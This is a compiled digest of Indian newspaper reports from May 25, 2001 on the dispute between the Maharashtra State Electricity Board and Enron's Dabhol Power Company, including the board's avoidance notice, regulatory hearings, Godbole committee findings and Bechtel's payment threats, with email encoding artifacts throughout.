Friday, May 25, 2001, http://www.indian-express.com/ie20010525/bus7.html
MSEB slaps 'avoidance' notice on Dabhol PPA
Charges company with material misrepresentation

THE ASIAN AGE
Friday, May 25, 2001, http://www.asianageonline.com/
Dabhol gets notice of termination from MSEB
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THE HINDU BUSINESSLINE
Friday, May 25, 2001, http://www.hindubusinessline.com/stories/14255602.htm
DPC-MSEB row: Centre awaits negotiations=20
Friday, May 25, 2001, http://www.financialexpress.com/fe20010525/corp20.htm=
l
MSEB has no right to revoke PPA, says DPC
Friday, May 25, 2001, http://www.financialexpress.com/fe20010525/news4.html
MSEB issues Rs 136-crore cheque for power purchased from DPC for April , Sa=
njay Jog
Friday, May 25, 2001, http://www.financialexpress.com/fe20010525/news6.html
MSEB may file petition before MERC today=20
Friday, May 25, 2001,http://www.business-standard.com/today/state2.asp?Menu=
=3D32
MERC pulls up MSEB for not providing DPC papers to Prayas, Renni Abraham in=
 Mumbai=20
Friday, May 25, 2001, http://www.indian-express.com/ie20010525/bus4.html
Godbole panel suggestions to be accepted, says Prabhu
Friday, May 25, 2001, http://www.hindubusinessline.com/stories/142556rm.htm
Review panel member rejects Godbole's remarks=20
Friday, May 25, 2001http://www.business-standard.com/today/economy2.asp?Men=
u=3D3
Lower DPC tariffs: High oil prices may affect talks, S Ravindran & Arijit D=
e in Mumbai
Friday, May 25, 2001,http://www.business-standard.com/today/opinion5.asp?
GODBOLE REPORT, CEA's dubious due diligence
Friday, May 25, 2001, http://www.economictimes.com/today/25econ08.htm
Will the lights go out on Dabhol II?, Anto T Joseph=20
Friday, May 25, 2001, http://www.economictimes.com/today/25econ07.htm
Bechtel's out if dues not paid by May 31, Anto Joseph=20
Friday, May 25, 2001, http://www.economictimes.com/today/25econ11.htm
MERC questions validity of clearance for DPC unit
Friday, May 25, 2001, http://www.economictimes.com/today/25edit01.htm
Attaboy, Godbole
Friday, May 25, 2001, http://www.financialexpress.com/fe20010525/an1.html
Reform needs leadership, consensus will follow=20
  Q & A -- Montek singh Ahluwalia
THE ECONOMIC TIMES, Friday, May 25, 2001

IN A retaliatory action, MSEB has slapped a legal notice on Dabhol Power Co=
mpany to cancel the power purchase agreement. The Board will file a case wi=
th the state electricity regulatory commission on Friday. A retaliation to =
DPC's May 19 preliminary termination notice, MSEB had with this notice lega=
lly questioned the validity of the entire PPA, state government sources sai=
d here. MSEB chief Vinay Bansal confirmed the development and said the noti=
ce was served on Thursday "rescinding" the PPA and accordingly setting it a=
side under law. "We are saying that as per the Indian Contract's Act, 1872,=
 MSEB wishes to consider the entire contract with DPC as void," sources sai=
d. The legal notice for cancellation of the PPA comes in the wake of DPC's =
failure to achieve 100 per cent peak load capacity in 180 minutes from a co=
ld start.=20

"We do not need to send a preliminary termination notice, this trumpcard of=
 ours has entitled us to terminate the PPA," they said. "Under the PPA, DPC=
 had made a representation that its power plant will conform to certain dyn=
amic characteristics and operations, which it has time and again failed to =
comply with," the sources added. The sources said DPC had, in several lette=
rs to MSEB and the state government, admitted that the multinational could =
not "ramp up" generation as it was a base-load power station and not a peak=
 one. "As per the Indian Contracts Act of 1872, such a confession amounts t=
o material misrepresentation of facts, which, in this case, has been knowin=
gly committed by DPC," the sources said. On May 19, 2001, DPC had issued a =
PTN to MSEB after months of working with the loss-making board, the state g=
overnment and the Centre to find solutions, saying "it was apparent that th=
e first two parties are unwilling to honour their offtake commitments for t=
he entire 2,184-mw power station".  "The Centre has clearly communicated it=
s unwillingness to assist MSEB and Maharashtra in either buying power or pr=
oviding credit support," DPC added.
THE FINANCIAL EXPRESS, Friday, May 25, 2001

THE Maharashtra State Electricity Board (MSEB), in a retaliatory move, on T=
hursday slapped an "avoidance" notice under the provisions of the Indian Co=
ntracts Act on the Dabhol Power Company (DPC) for "material misrepresentati=
on".  "We are now convinced that your conduct is not bonafide and as such w=
e are constrained to avoid/rescind the power purchase agreement dated Decem=
ber 8, 1993, with immediate effect,"  MSEB chairman Vinay Bansal said in a =
strongly  worded two-page notice to DPC.

Mr Bansal claimed the company had made material misrepresentation and "Our =
consent to the PPA was caused, inter alia, by the  representation on your p=
art in respect of the capacity and capability of the Dabhol power station. =
In the circumstances, we are advised that  the PPA is void and/or is voidab=
le at our option."
However, MSEB said that it was agreeable to continue the present arrangemen=
t of purchase of power and payment till the disputes were resolved by the a=
ppropriate forum "so as to minimise loss and inconvenience". "For such  sup=
ply, we are prepared to make payments to  you to as provided for under the =
PPA, but such  payments would be subject to adjustments on the basis of det=
ermination of reasonable   compensation by a competent forum," MSEB added.

The MSEB missive said at that all material times,  the company represented =
that it would build,   construct, own, maintain and operate a state-of-the-=
art power station with a Nominal Baseload Capacity of 670 mw, having a star=
t up and loading profile that would reach full load within 180 minutes from=
 a cold start. The   company also represented that the Dabhol plant would h=
ave certain Operating Characteristics and   Dynamic Parameters.  "One of th=
e key characteristic and parameters of the Dabhol power station to be const=
ructed in phase I of the project was that from a cold start the power plant=
 would have the capacity to ramp up to 100 per cent load within a period of=
 180 minutes," MSEB said. It further added that relying   upon the said exp=
ress representation in respect of the Operating Characteristics and Dynamic=
 Parameters of power station relating to attaining  full generation from a =
cold start, MSEB consented to the PPA. Since commissioning of the Dabhol pl=
ant in May 1999, the company has been billing MSEB for capacity payments ba=
sed on the Rated Baseload Capacity for each Availability Period.

  "Until January 2001, the Operating Characteristics and Dynamic Parameters=
 of the power station in respect of the ramp up capacity in a cold start ha=
d never come into question and at no stage you disclosed to us any informat=
ion in respect of the capability of the Dabhol power station being material=
ly different from the contractual parameters mentioned in the PPA," MSEB sa=
id. Further, on January 28, 2001, to its urgent requirement, MSEB instructe=
d to deliver fully declared baseload of 657 mw within three hours. "You, ho=
wever, failed to deliver the energy required by us and committed breach of =
the PPA. You committed similar defaults on February 13 and March 29. In vie=
w of these defaults, we became entitled to rebate as provided in the PPA in=
 respect of the three occasions and claimed the same from you," MSEB added.

MSEB charged that the company, however, failed and neglected to compute the=
 rebate or adjust the rebate in the billing statement or to pay the same to=
 MSEB. "In the letters addressed to us after January 28, you have admitted =
that your power plant does not conform to the PPA and is not capable of mee=
ting the contractual terms in respect of the crucial Operating Characterist=
ics and Dynamic Parameters. In particular, you have acknowledged and admitt=
ed that the actual performance and capability of the power station does not=
 conform to the start up and loading profile curves of Schedule 6 of the PP=
A," MSEB added.
=20
MSEB said it has shown utmost restraint and has given more than sufficient =
opportunities, to resolve the issues amicably. "Instead of cooperating in t=
he matter, you have embarked on a campaign to create confusion and obfuscat=
e the issues, which has involved, inter alia in wrongfully withholding reba=
te payments, pressurising us to make payment that are not due, invoking gua=
rantee issued by the Government of Maharashtra and Government of India, inv=
oking arbitration, declaring Political Force Majeure, without justification=
, wrongly seeking to activate the escrow arrangement without being entitled=
 to do so and issuing preliminary termination notices on false and frivolou=
s grounds," it added.   According to MSEB, in these circumstance it was now=
 convinced that the company's conduct is not bonafide and it was constraine=
d to avoid/rescind the PPA with immediate effect.
THE HINDU BUSINESSLINE, Friday, May 25, 2001

THE Centre is willing to consider any worthwhile idea emerging out of the n=
egotiating committee for the settlement of the dispute between Dabhol Power=
 and MSEB, according to the Union Power Minister, Mr Suresh Prabhu. An offi=
cial release issued today states that any such proposal has to be acceptabl=
e to both the MSEB as well as the DPC. Industry sources, however, point out=
 that the Centre's stated position is not likely to provide a breakthrough =
since the Centre has endorsed a consensus-driven approach with its involvem=
ent restricted to the participation of its member Mr A.V. Gokak in the nego=
tiating committee. A meeting between Dabhol Power Company and Ministry of P=
ower is slated to be  held on Friday following DPC's request to the meet th=
e Power Secretary, Mr A.K. Basu.=20
THE FINANCIAL EXPRESS, Friday, May 25, 2001=20

THE Dabhol Power Company (DPC) in its reaction said the Maharashtra State E=
lectricity Board did not have the right to rescind the power purchase agree=
ment (PPA) as attempted in its notice.   A DPC press release issued here on=
 Thursday said that it would appear that MSEB's notice was a deliberate att=
empt to further delay the resolution of difficult issues confronting the MS=
EB. Nevertheless, even though the MSEB continues to seek ways to delay and =
frustrate the resolution of these matters, DPC remains open to receiving pr=
oposals from the board, Government of Maharashtra and Government of India. =
 "In the first place, the PPA does not allow MSEB to shut down the plant ex=
cept in emergencies. Moreover, the Dabhol plant was intended as a baseload =
facility. As a result, the question of plant performance following a cold s=
tart should not arise. The MSEB has chosen an obscure and improper justific=
ation for attempting to rescind a contract that, in any event, was signed m=
ore than seven years ago. In any case, this basis and many of MSEB's relate=
d claims are already the subject of a pending arbitration initiated by the =
DPC. Our arbitration notice of April 12, 2001 should serve as evidence of o=
ur confidence in SPC's legal position, and we expect that the issues in arb=
itration will be resolved to our satisfaction," the company added.
njay Jog

THE Maharashtra State Electricity Board (MSEB), which served an "avoidance"=
 notice, on Thursday prepared a cheque of Rs 136 crore towards power purcha=
se from the Dabhol Power Company (DPC) in April this year. MSEB sources tol=
d The Financial Express that the payment would be made "under protest" as t=
he DPC has failed to pay the rebate of Rs 401 crore charged by it for misde=
claration and default on the availability of power on January 28. "The cheq=
ue was prepared well before 5 pm, however, the DPC officials would collect =
it on Friday (May 25), the due date for the payment of bills," MSEB sources=
 said.

Sources said that the MSEB has taken a conscious decision to continue the p=
ower purchase and make payments to the DPC, despite serving the "avoidance"=
 notice. MSEB has so far paid the February bill of Rs 114 crore and Marchbi=
ll of Rs 134 crore "under protest." MSEB said that despite its instructions=
 to maintain load at 657 mw from 6 pm onwards, DPC was unable to pick up an=
d is generating only 216 MWH at 6.45 pm. On the appointed hour 6 pm- 9 pm, =
DPC's declared baseload capacity of 657 mw, the company failed to deliver e=
nergy as instructed by the MSEB and delivered only 156 mw on January 28, 20=
01.

According to MSEB, a shortfall occurred and in terms of Clause 8.4 (b) (iii=
) the available baseload  capacity was required to be calculated. Such shor=
tfall was to be calculated on the basis of the formula set out therein for =
a period of 14 days prior to the available period in which the shortfall oc=
curred.MSEB said that DPC owes nearly Rs 143.073 crore after adjusting the =
December bill (Rs 102 crore) and January bill (Rs 111 crore). MSEB is entit=
led to damages for misrepresentation calculated from the date the power pla=
nt made its "entry into commercial service" and/or MSEB under section 19 of=
 the Contract Act, is entitled to treat the contract as void. MSEB said in =
failing to compute the rebate for the shortfall that occurred on January 28=
 in its billing statement of January, DPC committed a breach of Clause 11.1=
 (b) (ii).  MSEB was thus entitled to adjust the rebate against the outstan=
ding sum for the period relating to the January billing statement.

THE MSEB is trying its level best to file a petition on Friday before the M=
aharashtra Electricity Regulatory Commission (MERC) for seeking its ruling =
over its dispute with DPC, under the provisions of the Electricity Regulato=
ry Commission (ERC) Act, 1998.  MSEB sources say a petition, comprising ann=
exures, is being prepared in consultation with the battery of lawyers. The =
petition will be made with an appeal to the MERC to adjudicate the disputes=
.

  "The DPC has committed a material misrepresentation and also misdeclared =
and defaulted on the  availability of power in January, February and March.=
 Although the PPA had been inked between the MSEB and DPC before the establ=
ishment of MERC, the disputes have arisen after the MERC was delegated powe=
rs to adjudicate disputes on December 5, 2000," MSEB sources said.  "As per=
 the ERC Act provisions, MERC is in a position to admit the MSEB's petition=
 on the grounds that consumers are entitled for getting quality power at fa=
ir price. The decision to take up the matter at the level of the MERC is wi=
th an objective to shift the legal battle from London to the Indian soil. S=
imultaneously, it would also save cost."

  The MSEB at length would explain its case, vis-a-vis, DPC's failure to ho=
nour the rebate and its payment.  Under the PPA, DPC undertook to construct=
 and operate a base load, combined cycle power station in two phases. MSEB =
agreed to purchase and accept delivery of the electrical energy generated b=
y the Dabhol power station into its distribution system and pay for the ele=
ctrical generating capacity made available to it, as well as for the electr=
ical energy actually delivered, subject to the terms and conditions of the =
PPA. "In terms of Clause 1 of the Government of India guarantee dated Septe=
mber 15, 1994, no sums of money are validly due by MSEB to DPC and accordin=
gly, there has been no failure on the part of MSEB to make such payments," =
MSEB said.
BUSINESS STANDARD, Friday, May 25, 2001
 Mumbai=20

The Maharashtra Electricity Regulatory Commission (MERC) on Thursday pulled=
 up the Maharashtra State Electricity Board (MSEB) for not having provided
 documents related to the Dabhol Power Company (DPC) to Prayas, an NGO, des=
pite being ordered to do so in January. Chairman of MERC, P Subrahmanyam, s=
aid, "In the wake of the January order by the commission and in the light o=
f the Right of Information Act passed by the Maharashtra legislature, all d=
ocuments apart from those listed by the government have to be made availabl=
e to the public. Even the Electricity Regulatory Commission Act states that=
 the such commissions (like MERC) will act in a transparent manner. Hence w=
e said that all the documents should be provided to Prayas."=20

The commission rapped MSEB for not being able to explain, with legal opinio=
n, how it could withhold the documents despite the MERC ruling. The Commiss=
ion has given the board a month to provide all documents to Prayas as well =
as itself, related to the DPC project.  With regard to those documents it c=
laims confidentiality, the Commission has sought a clear legal stand by it =
and not a reliance on merely the legal opinion forwarded by DPC."When MSEB =
has such a huge legal department at its disposal it's reliance on DPC's leg=
al opinion is not reasonable," the Commission held. Another rider posed by =
the MERC was that while all costs effected by MSEB's contractual agreements=
 with DPC were passed on to consumers why the consumer was not allowed to s=
ee the documents related to the PPA.Sources added that containing the fuel =
cost charges will reduce tariffs and make the project conducive to higher o=
fftake of power.
THE INDIAN EXPRESS, Friday, May 25, 2001=20

The Central government will accept the recommendations of the renegotiating=
 committee headed by Madhav Godbole for the settlement of the dispute betwe=
en Dabhol Power Company (DPC) and Maharashtra State Electricity Board (MSEB=
). A government statement quoting power minister Suresh Prabhu said "the Go=
vernment of India is ready to consider any worthwhile idea emerging out of =
the renegotiating committee for the settlement of the dispute."  The propos=
al, Prabhu said, has to be acceptable to the parties to the dispute -  Maha=
rashtra State Electricity Board and Enron-promoted Dabhol Power Company- ad=
ding that a quick settlement of the differences was essential for the power=
 sector of Maharashtra.

Dabhol Power Company had last week slapped a preliminary termination notice=
 (PTN) on MSEB following the dispute over payment of power bills. While for=
mer telecom secretary A V Gokak has been appointed as centre's nominee on t=
he Godbole committee constituted by Maharashtra government, a              =
      committee of senior officers of the concerned ministries has been set=
 up to quickly examine the proposals emerging out of the negotiating commit=
tee. The committee officers comprise officials of ministries of finance, po=
wer and petroleum.

 DR R.K. Pachauri, a member of the Review Committee set up by the Maharasht=
ra Government on the Dabhol controversy, has voiced his concern on a fellow=
 member's recent statement in a leading national daily on the issue. In a p=
ress statement released here, Dr Pachauri has contended Mr Godbole's statem=
ent that, ``The committee has also suggested that the judicial enquiry, hea=
ded by a service or a retired Supreme Court judge should be initiated as so=
on as possible.'' According to Dr Pachauri, this statement needs to be seen=
 in the context of the fact that three out of the five members in the commi=
ttee recorded their strong dissent with this view. ``Can the view of two me=
mbers of the committee, clearly a minority, be read as `the committee has a=
lso suggested...','' Dr Pachauri has                      argued. According=
 to him, ``Can a judicial enquiry really force Enron back to the negotiatin=
g table?'' In the press statement, he has thrown up several other questions=
 -- Can the Maharashtra Government renegotiate a deal with Enron if a judic=
ial enquiry is in progress, and would the public accept any such deal till =
the enquiry is over? And till it is over, the Maharashtra Government would =
continue to run up huge bills
even as the State is unable to absorb the power generated by Dabhol.
e in Mumbai

The spurt in global oil prices, and the consequent impact on naphtha, will =
curtail Dabhol Power Company's (DPC) ability to offer concessions on its ta=
riff structure,=20
even as the government looks to isolate fuel costs from the tariffs.The Mad=
hav Godbole committee is currently renegotiating a lower tariff structure f=
or power from=20
the 2,184 mw Dabhol power project. Top government sources said they were wo=
rking around the uncertainties in the naphtha prices. "We are working towar=
ds a rational tariff structure which will insulate it, to some extent, from=
 the vagaries of fuel prices," a top state government source told Business =
Standard. The official indicated that this could take the form of reducing =
the pass-through component of fuel prices. "We could try to get a lower pas=
s-through, from the current 100 per cent," he explained.=20

Alternatively, the fuel component could be capped at a certain level to pro=
tect the tariff from surging fuel prices. Fuel prices are an important comp=
onent in the=20
tariff structure, as the entire component (in variable costs) is passed on =
to the purchaser. Crude oil prices, which had touched a high of $33 per bar=
rel last year,=20
pushing up DPC's tariff, had softened to $26 per barrel levels in December =
2000. However, prices have jumped over 20 per cent in the last few weeks to=
 around=20
the $30 levels again. Power industry sources indicate this may cast a shado=
w over the conciliation talks. While the 740 mw phase-I of the project is c=
urrently naphtha-based, the entire plant is supposed to turn to LNG once th=
e 1,444 mw phase-II comes into commercial operation. Naphtha and LNG prices=
 are both linked to crude oil prices. DPC had earlier attributed the rise i=
n tariff from the contracted price partly to the sharp rise in global napht=
ha prices.It had argued that the rise in naphtha prices coupled with the lo=
w offtake of power by the MSEB was responsible for the higher tariffs.=20

The Central Electricity Authority's role in scrutinising the technical aspe=
cts of the project is questioned

The 'techno-economic clearance (TEC)' from CEA has been a controversial iss=
ue. The in-principle clearance for DPC's project pursuant to sections 29 an=
d 44 of the Electricity (Supply) Act, 1948 (the Act) was issued by MSEB on =
May 20, 1993. The clearance was granted subject to clearance from the CEA a=
s required under=20
section 44 of the Act. On November 26, 1993, CEA granted its conditional cl=
earance... for the project after considering the technical aspects of the s=
cheme at its=20
meeting held on November 12, 1993. A day earlier, on November 11, 1993, the=
 Secretary, Ministry of Power, appears to have written to the CEA and quote=
d an extract of the minutes of a Foreign Investment Promotion Board (FIPB) =
meeting of November, 5, 1993 which said, "...Finance Secretary has observed=
 that the question of the cost of power has been looked into and it has bee=
n found that it was more or less in line with other projects being put up i=
n Maharashtra". Accordingly, the CEA observed that "The aspects related to =
import of fuel, foreign exchange rules and deviation from Government of Ind=
ia tariff notification indicting return on equity have been examined by FIP=
B and the project has been found acceptable by them."=20

On July 14, 1994, CEA issued another clearance for the project... stating t=
hat all the conditions had been complied with. However, it reiterated two c=
onditions stipulated earlier, viz., - Phase II of the project could only be=
 taken up after MSEB/GoM ensures absorption of the entire power including o=
ff-peak power in or outside Maharashtra together with the completion of ass=
ociated transmission system matching with the commissioning schedule of the=
 project. The CEA, as stated in an affidavit by the CEA in the CITU case, c=
onsiders this to be the "techno-economic clearance" accorded to the scheme,=
 which was based on discussions in a meeting held on 24 June 1994. The minu=
tes of this meeting are not available to the Committee. Furthermore, it is =
curious that the letter does not mention the word "techno-economic" anywher=
e, as compared to a clearance given to similar IPP [independent power produ=
cer] projects ...=20

Subsequently, on December 23, 1994, CEA issued a letter to Ministry of Powe=
r stating that "the cost of power has been found reasonable by the Ministry=
 of Finance, CEA feels that since the cost of power is to be derived from t=
he capital cost, the capital cost of Dabhol project may also be considered =
reasonable" In effect, the CEA said that since the Ministry of Finance find=
s the tariff acceptable, the capital cost is reasonable, which accords grea=
ter significance to the role of the tariff... In addition, curiously enough=
, it makes no reference to the meeting of 24th June 1994 regarding techno-e=
conomic appraisal of DPC mentioned in the CEA's affidavit. Thus, it is moot=
 question whether the CEA discharged the statutory duty cast on it under th=
e Electricity Supply Act adequately.=20

...Modification to the project after renegotiations: Subsequent to the nego=
tiations conducted by the Negotiating Group ... the CEA received a letter f=
rom DPC dated=20
March 7, 1996 intimating certain alterations to the Dabhol project and stat=
ing that these alterations were minor as per the first proviso of section 3=
2 of the Electricity=20
Supply Act, 1948.  The State of Maharashtra, through GoI [Government of Ind=
ia], had sought CEA's views in the matter. The matter was deliberated upon =
by the CEA and the GoI was informed that increase in capacity of plant and =
use of naphtha in place of distillate fuel in Phase I of the scheme were of=
 minor character but the removal of LNG facility from the scope of the sche=
me and execution of the same by a separate entity in Phase II of the scheme=
 was of a major nature.=20

Subsequently, DPC vide letter dated May 7, 1996 informed CEA that DPC was a=
greeable to implement the scheme without changes considered as major by CEA=
,=20
viz. the removal of the LNG facility from the project scheme. As a result D=
PC and MSEB went ahead with the project, without hiving off the LNG facilit=
ies and avoided
obtaining any fresh clearance required from CEA. It is difficult to compreh=
end how MSEB agreed to accept the re-integration of the LNG facility, which=
 was not in its=20
own interest.  The Committee finds it inexplicable why there was no mention=
 of any reduction in capital cost of the project from $2,828 million to $2,=
501 million as=20
agreed to by DPC as mentioned in the Summary Report of the Renegotiating Gr=
oup, which appears to have been intimated to CEA, as part of its economic a=
ppraisal.=20

Neither is there any intimation about the change in the cost of power, due =
to the renegotiation of tariff, which formed the basis for CEA consideratio=
n that "the capital=20
cost of Dabhol project (is) reasonable". The counter-affidavit by CEA on Ju=
ly 1, 1996 in the CITU case however states that "since no cost increase (wa=
s)
 involved...fresh formal clearance...(was) not necessary". This only adds s=
trength to the suspicion that the CEA did not consider the economic aspects=
 of the=20
project at all. Indeed, given the non-availability of any official record o=
f the meeting on June 24, 1994 with the Committee, and the nature of this l=
etter dated
 December 23, 1994, the Committee is doubtful whether the economic aspects =
of DPC were discussed at all. ...=20

Demand for power: As already mentioned, the GoM's submission at the start o=
f the project regarding the need for power was flawed to the extent that it=
 failed to=20
distinguish between different types of load. This led to an inappropriately=
 high PLF of 90% being taken for purposes of calculating per unit tariff. I=
n 1993, however,=20
based on the past growth of consumption and load, it was possible to argue =
that a 695 MW plant could be absorbed into the system. This, however, compl=
etely=20
omitted any consideration as to whether there was a demand for power at the=
 price that was expected to be charged by DPC....=20

The subsequent error of calculation: However, this mistake pales in compari=
son to the assurance given by MSEB, on September 2, 1998, that there was su=
fficient=20
demand to absorb the power from Phase II. As mentioned earlier, the CEA cle=
arance to DPC stipulated that "Phase II of the project could only be taken =
up after=20
MSEB/GoM ensures absorption of the entire power including off-peak power in=
 or outside Maharashtra together with the completion of associated transmis=
sion=20
system matching with the commissioning schedule of the project." In respons=
e to a letter from DPC on the demand supply position in the MSEB system, MS=
EB=20
replied, establishing that there was sufficient demand. ...=20

The initial error of composition: The MSEB demand projections for justifyin=
g the requirement of Dabhol was on the basis of the 15th EPS. The actual co=
nsumption=20
in 1998 was higher than the estimate in the 15th EPS by 4.4%. MSEB therefor=
e replaced the base year EPS estimate with the higher actual consumption an=
d=20
applied the EPS growth rates to this higher base. On the face of it, perhap=
s justifiable, until one looks at the growth of demand in the past. ... The=
 actual growth=20
in demand in the MSEB system in the years immediately before 1998 were actu=
ally much lower than the 15th EPS estimates. Indeed, there is a sharp slowd=
own=20
in growth in 1996. This slowdown was completely ignored. While the actual c=
onsumption in 1998 was indeed about 4.6% higher than estimated by 15th EPS,=
 the=20
trend growth rate was actually much lower (2% in 1997 and 5% in 1998). As c=
ompared to the growth of 2% and 5% in the previous two years, MSEB estimate=
d an=20
immediate return to earlier growth rates of 8 to 9% ...=20

Based on these extremely over-optimistic assumptions, MSEB stated "there is=
 sufficient projected base load demand for power in the state to justify Ph=
ase II of=20
the Dabhol project, even at a 90% dispatch. This was stated without an anal=
ysis of the load curve. Indeed, MSEB in its projections before the Committe=
e has=20
submitted that their current expectations are that consumption in 2004-2005=
 will be around 67813 MU as opposed to 91202 MU expected by them in 1998,=
=20
implying an overestimation of 58%! On the basis of this unconvincing estima=
tion of demand ... Phase II of DPC was given the go ahead.=20

The World Bank was asked to review the project by GoI, for possible financi=
ng. It reviewed the project extensively and pointed out on April 30, 1993 t=
hat "The
 project (was) not a least-cost choice for base load power generation compa=
red to Indian coal and local gas. Even if domestic fuels (were) not availab=
le,=20
imported coal would be the least-cost option for base-load generation for M=
SEB with current environmental standards. The unique features of this LNG-b=
ased=20
project...offset LNG's environmental benefits over coal." =20

The current design which would "Dispatch the plant as a base load unit at 8=
0-85% minimum plant factor...would prevent the operational flexibility of a=
 combined=20
cycle plant, (and)..the project would add more capacity than needed to meet=
 the projected load growth in 1998 and would also result in uneconomic plan=
t dispatch."In addition, "substantial adjustment in electricity tariffs wou=
ld be required to recover the cost of the project from the consumers and to=
 safeguard MSEB's financial position...Adjustments limited to special indus=
trial categories would not be sufficient as their capability to continue to=
 cross-subsidize, by paying more than the already high cost of LNG power wo=
uld be limited."=20

Subsequently, after further discussions, the World Bank wrote again on July=
 26, 1993 to "reconfirm (their) earlier conclusion" and stress that the pro=
ject needed to=20
be reshaped to "serve higher-value intermediate load", and that if the proj=
ect was being justified on the basis that the existing system (was) project=
ed to decline in=20
efficiency (and) most recently discovered slippages in MSEB's ongoing and p=
lanned least-cost program, then it was better to take determined actions...=
to=20
reverse this projected deterioration rather than accepting it as a given fa=
ct in the analysis of new investments....=20

Enron was concerned. It wrote to MSEB stating, ... "I feel that the World B=
ank opinion can be changed. We will engage a PR firm during the next trip a=
nd hopefully=20
manage the media from here on. The project has solid support from all other=
 agencies in Washington. We will get there! We need now to put the PPA behi=
nd us"
 (emphasis added). MSEB and GoM addressed these objections of the World Ban=
k by emphasising the environmental benefits of gas, reducing the plant size=
...
and assuring the GoI that there would be power sector reform to adjust elec=
tricity tariffs ....=20

In retrospect, all the concerns of the World Bank proved well founded. Refo=
rm did not occur, the cost was too expensive and the system has not been ab=
le to=20
absorb the capacity, even of Phase-I. In hindsight, it is always easy to ar=
gue that the decisions made at that time were not justified, but in this ca=
se these issues=20
were raised and dismissed at the time the original decision was made.
THE ECONOMIC TIMES, Friday, May 25, 2001=20

WITH lenders, both offshore and domestic, refusing to fund the cost overrun=
 of $400 million, the second phase of the Dabhol project seems to be in dee=
p trouble. The US power major may now be forced to chip in with the additio=
nal project cost, either in the form of equity, quasi equity or debt, or a =
mix of these. Enron has, however, informed lenders that it would bring in t=
he additional project cost only if the renegotiations look like making any =
headway. With EPC contractor Bechtel stopping construction at Dabhol, India=
n lenders are fearing a further cost overrun. "It could be around $20 milli=
on per month. If the project is delayed for a few months, the financial via=
bility of the project will be at stake," said senior financial institution =
officials. They said the huge cost overrun had become a major deterrent in =
completion of phase II. When domestic lenders refused take any further expo=
sure in the controversial project, Enron had scouted for foreign debt, but =
in vain. "Indian lenders, who contributed 40 per cent of $2.9 billion (earl=
ier project cost), had earlier refused to take more exposure. Later, foreig=
n lenders have also                                           taken a negat=
ive stand," said sources.=20

According to FI sources, Enron wanted to maintain status quo in the debt-eq=
uity ratio at 70:30. This would mean an additional debt of $280 million and=
 an equity call of $120 million. With the minority stakeholders -- MSEB and=
 Bechtel (they hold 15 per cent and 10 per cent, respectively) - having    =
                                       shown their dissent in the project, =
a new equity infusion  has turned almost impossible. In this situation, Enr=
on will have to raise its stake from the current level of 65 per cent. "Thi=
s is an unlikely scenario since Enron is actually planning to reduce its st=
ake in the project to below 50 per cent," said an Enron official. "Enron is=
 in a fix now. The entire responsibility of bringing in the additional cost=
 lies on the shoulders of Enron. It could bring the fund in the form of equ=
ity, quasi equity or                                           debt, or a m=
ix debt-equity," said an industry analyst. Cost overrun has stemmed from de=
-valuation of rupee vis-a-vis dollar and increase in equipment cost. Indian=
 Fis are now wary of a further cost overrun due to delay in project executi=
on.=20

According to the PPA, the PTN would mean fixing up a deadline of six months=
 for pulling the final plug on the project. "As of now, the FIs have held b=
ack $250 million debt to the project. After the PTN is served, DPC could no=
t expect lenders to make any more disbursements, and it has almost sealed t=
he fate of the project," said an FI source. While the 740-mw phase I is ope=
rational, the second phase of 1,144 mw was expected to go fully operational=
 by the year-end. One unit of 740 mw (part of the second phase), which was =
on trial runs, was expected to be commercially operational in June. With Be=
chtel stopping  the construction work at the site, it has now become uncert=
ain.

FRUSTRATED by a series of payment defaults, US-based Bechtel has threatened=
 the Enron-promoted Dabhol Power Company that it will withdraw from the con=
troversial project by May 31, if its dues are not paid. In a letter written=
 to DPC, Bechtel - which is the EPC  contractor for the 2,184 mega-watt pro=
ject and also a   minority stake holder (10 per cent) in DPC - has said it =
was stopping civil work at the site in coastal Maharashtra. Sources from fi=
nancial institutions said that the unit I of the project's phase-II, which =
was slated to be operational commercially by June, will not be ready by the=
n, after Bechtel stopped work at the site. Around 10 to 15 per cent of the =
work is yet to be completed, sources added.=20

Both Bechtel and DPC refused to comment on these developments. FI sources s=
aid the issue will be discussed threadbare at the meeting in New Delhi on F=
riday called by the Centre. While Bechtel issued the May 31 deadline to DPC=
 to make its outstanding payments, lenders have refused to bail out  the pr=
oject with any further debt disbursements. The preliminary termination noti=
ce issued by the cash-starved DPC has compounded the matter, according to F=
I sources. The ongoing payment impasse, involving MSEB and the state and ce=
ntral governments, has resulted in delays in payments to vendors for the se=
cond phase of the power project. On May 2, Aric Oakf, project director of B=
echtel India, had said his company was concerned about the payment defaults=
. He had said that the company was exploring various options as per the EPC=
 contract.=20

On May 3, the Economic Times had reported that Bechtel was considering pull=
ing out of the project. Though there were defaults and delays in payment, t=
he company had continued with the construction work at the site. Sources sa=
id DPC was not in a position to change the situation, unless lenders soften=
 their stance and start funds disbursal. The lenders have held back around =
$250 million payment out of the committed debt, after the project ran into =
a series of controversies. Bechtel, one of the largest engineering construc=
tion firms in the world, has set up more than 450 power plants, installed m=
ore than 6,800 kilometers of high voltage transmission lines, and is the le=
ading builder of independent power projects worldwide.
=20
FRESH trouble seems to be brewing for the Maharashtra State Electricity Boa=
rd over the present dispute with Enron's Dabhol Power Company, as the state=
 electricity regulatory commission on Thursday questioned the basis on whic=
h the MSEB cleared the 2,184 mw project. "As per your submission that MSEB =
did not have the actual documents of the financial closure of the project's=
 Phase II till February 27, on what basis did the board clear the project?"=
 MERC members asked MSEB technical director Prem Paunikar while hearing the=
 petition filed by Pune-based NGO Prayas.=20

In it's plea, Prayas has sought the status and copies of various power purc=
hase agreements and related contracts or commitments signed by MSEB with in=
dependent power producers including DPC, in the state.In its argument, MSEB=
 said it was contractually bound with DPC as the energy major had claimed c=
onfidentiality on several documents. The documents in question are both Pha=
ses I & II of the $3-billion project, which include details of the prelimin=
ary termination notice, termination notice, the 20-year gas supply agreemen=
t and liquid fuel contract with Oman LNG, operation and maintenance records=
, construction contracts                                           and fuel=
 management. (PTI)

AFTER an initial fit of pique directed at NCP boss Sharad Pawar, Madhav God=
bole has decided to stay on with the committee that will renegotiate the de=
al that the Dabhol Power Company has with the Maharashtra State Electricity=
 Board. Thank goodness for that. For many years, India needed something lik=
e the report filed by the committee headed by Mr Godbole. The Enron project=
 has been dogged by controversy, allegations of goldplating and graft. The =
initial power purchase agreement (PPA), signed in 1993 when the Congress go=
vernment of Sharad Pawar ruled Maharashtra, was attacked by the opposition =
which included the BJP and Shiv Sena. When a Sena-BJP coalition came to pow=
er it scrapped the deal, only to sign another one in 1995. Then, the so-cal=
